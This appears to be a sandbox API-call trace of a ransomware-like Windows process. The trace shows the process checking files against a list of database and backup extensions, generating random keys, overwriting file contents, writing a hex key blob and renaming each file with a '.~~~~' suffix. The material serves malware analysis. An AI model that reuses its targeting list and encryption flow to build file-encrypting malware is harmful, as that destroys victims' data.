	[0086.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".MDF") returned 0x0
	[0086.480] lstrlenW (lpString=".bdb") returned 4
	[0086.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".bdb") returned 0x0
	[0086.480] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.480] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.480] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0086.480] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.480] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0086.481] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.481] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.481] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0086.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0086.481] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20647126953) returned 1
	[0086.481] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9d5afd10, dwHighDateTime=0x1d60e1e)) 
	[0086.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0086.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0086.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0086.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f9580
	[0086.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.481] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9580 | out: hHeap=0x300000) returned 1
	[0086.481] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.482] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3baee0
	[0086.482] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.482] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0086.482] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3baee0 | out: hHeap=0x300000) returned 1
	[0086.482] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0086.482] GetLastError () returned 0x0
	[0086.482] GetLastError () returned 0x0
	[0086.482] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0086.482] GetLastError () returned 0x0
	[0086.482] GetLastError () returned 0x0
	[0086.484] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffffdd5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.484] WriteFile (in: hFile=0x128, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0x22b, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x22b, lpOverlapped=0x0) returned 1
	[0086.485] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0086.485] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.485] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.485] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.485] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.485] CloseHandle (hObject=0x128) returned 1
	[0086.485] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b8a98
	[0086.485] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf.~~~~")) returned 1
	[0086.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8a98 | out: hHeap=0x300000) returned 1
	[0086.488] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0086.488] GetLastError () returned 0x0
	[0086.489] lstrlenW (lpString=".sqb") returned 4
	[0086.489] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0086.489] lstrlenW (lpString=".ost") returned 4
	[0086.489] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0086.489] lstrlenW (lpString=".txt") returned 4
	[0086.489] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0086.489] lstrlenW (lpString=".mdt") returned 4
	[0086.489] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0086.489] lstrlenW (lpString=".BDB") returned 4
	[0086.489] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0086.489] lstrlenW (lpString=".eql") returned 4
	[0086.489] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0086.489] lstrlenW (lpString=".DBF") returned 4
	[0086.489] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0086.489] lstrlenW (lpString=".EQL") returned 4
	[0086.489] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0086.489] lstrlenW (lpString=".FDB") returned 4
	[0086.489] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0086.489] lstrlenW (lpString=".EDB") returned 4
	[0086.489] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0086.489] lstrlenW (lpString=".DACPAC") returned 7
	[0086.489] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0086.489] lstrlenW (lpString=".VHD") returned 4
	[0086.489] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0086.489] lstrlenW (lpString=".DBV") returned 4
	[0086.489] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0086.489] lstrlenW (lpString=".dacpac") returned 7
	[0086.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0086.490] lstrlenW (lpString=".sdf") returned 4
	[0086.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0086.490] lstrlenW (lpString=".accdb") returned 6
	[0086.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0086.490] lstrlenW (lpString=".DBX") returned 4
	[0086.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0086.490] lstrlenW (lpString=".MDT") returned 4
	[0086.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0086.490] lstrlenW (lpString=".SQB") returned 4
	[0086.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0086.490] lstrlenW (lpString=".vhd") returned 4
	[0086.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0086.490] lstrlenW (lpString=".bac") returned 4
	[0086.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0086.490] lstrlenW (lpString=".mdf") returned 4
	[0086.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0086.490] lstrlenW (lpString=".BAK") returned 4
	[0086.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0086.490] lstrlenW (lpString=".BAC") returned 4
	[0086.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0086.490] lstrlenW (lpString=".dbs") returned 4
	[0086.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0086.490] lstrlenW (lpString=".vhdx") returned 5
	[0086.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0086.490] lstrlenW (lpString=".NDF") returned 4
	[0086.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0086.490] lstrlenW (lpString=".dat") returned 4
	[0086.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0086.491] lstrlenW (lpString=".DBS") returned 4
	[0086.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0086.491] lstrlenW (lpString=".CKP") returned 4
	[0086.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0086.491] lstrlenW (lpString=".edb") returned 4
	[0086.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0086.491] lstrlenW (lpString=".PST") returned 4
	[0086.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0086.491] lstrlenW (lpString=".dbf") returned 4
	[0086.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0086.491] lstrlenW (lpString=".SQL") returned 4
	[0086.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0086.491] lstrlenW (lpString=".pst") returned 4
	[0086.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0086.491] lstrlenW (lpString=".dbv") returned 4
	[0086.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0086.491] lstrlenW (lpString=".SDF") returned 4
	[0086.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0086.491] lstrlenW (lpString=".dtxs") returned 5
	[0086.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0086.491] lstrlenW (lpString=".db3") returned 4
	[0086.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0086.491] lstrlenW (lpString=".OST") returned 4
	[0086.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0086.491] lstrlenW (lpString=".dbx") returned 4
	[0086.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0086.492] lstrlenW (lpString=".DB3") returned 4
	[0086.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0086.492] lstrlenW (lpString=".DAT") returned 4
	[0086.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0086.492] lstrlenW (lpString=".VHDX") returned 5
	[0086.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0086.492] lstrlenW (lpString=".ndf") returned 4
	[0086.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0086.492] lstrlenW (lpString=".DB") returned 3
	[0086.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0086.492] lstrlenW (lpString=".sql") returned 4
	[0086.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0086.492] lstrlenW (lpString=".MYD") returned 4
	[0086.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0086.492] lstrlenW (lpString=".DBT") returned 4
	[0086.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0086.492] lstrlenW (lpString=".ACCDB") returned 6
	[0086.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0086.492] lstrlenW (lpString=".fdb") returned 4
	[0086.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0086.492] lstrlenW (lpString=".bak") returned 4
	[0086.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0086.492] lstrlenW (lpString=".myd") returned 4
	[0086.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0086.492] lstrlenW (lpString=".DTXS") returned 5
	[0086.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0086.493] lstrlenW (lpString=".ckp") returned 4
	[0086.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0086.493] lstrlenW (lpString=".dbt") returned 4
	[0086.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0086.493] lstrlenW (lpString=".db") returned 3
	[0086.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0086.493] lstrlenW (lpString=".TXT") returned 4
	[0086.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0086.493] lstrlenW (lpString=".MDF") returned 4
	[0086.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0086.493] lstrlenW (lpString=".bdb") returned 4
	[0086.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0086.493] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0086.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0086.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0086.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0086.493] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0086.494] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0086.494] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0086.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0086.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0086.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0086.494] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20648512734) returned 1
	[0086.560] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9d66e3f0, dwHighDateTime=0x1d60e1e)) 
	[0086.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0086.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0086.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0086.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27f9c10
	[0086.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0086.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9c10 | out: hHeap=0x300000) returned 1
	[0086.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0086.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0086.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3bb378
	[0086.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0086.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282d428
	[0086.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bb378 | out: hHeap=0x300000) returned 1
	[0086.561] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0086.561] GetLastError () returned 0x0
	[0086.562] GetLastError () returned 0x0
	[0086.562] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0086.562] GetLastError () returned 0x0
	[0086.562] GetLastError () returned 0x0
	[0086.592] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff52f2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0086.593] WriteFile (in: hFile=0x128, lpBuffer=0x288eff8*, nNumberOfBytesToWrite=0xad0e, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x288eff8*, lpNumberOfBytesWritten=0x1f8fec0*=0xad0e, lpOverlapped=0x0) returned 1
	[0086.593] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x288eff8 | out: hHeap=0x300000) returned 1
	[0086.596] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.596] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0086.596] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0086.596] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0086.596] CloseHandle (hObject=0x128) returned 1
	[0086.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3b8cc0
	[0086.596] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.~~~~")) returned 1
	[0086.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8cc0 | out: hHeap=0x300000) returned 1
	[0086.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0086.597] GetLastError () returned 0x0
	[0086.598] lstrlenW (lpString=".sqb") returned 4
	[0086.598] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".sqb") returned 0x0
	[0086.598] lstrlenW (lpString=".ost") returned 4
	[0086.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATER\\WATER.INF", lpSrch=".ost") returned 0x0
	[0086.599] lstrlenW (lpString=".txt") returned 4
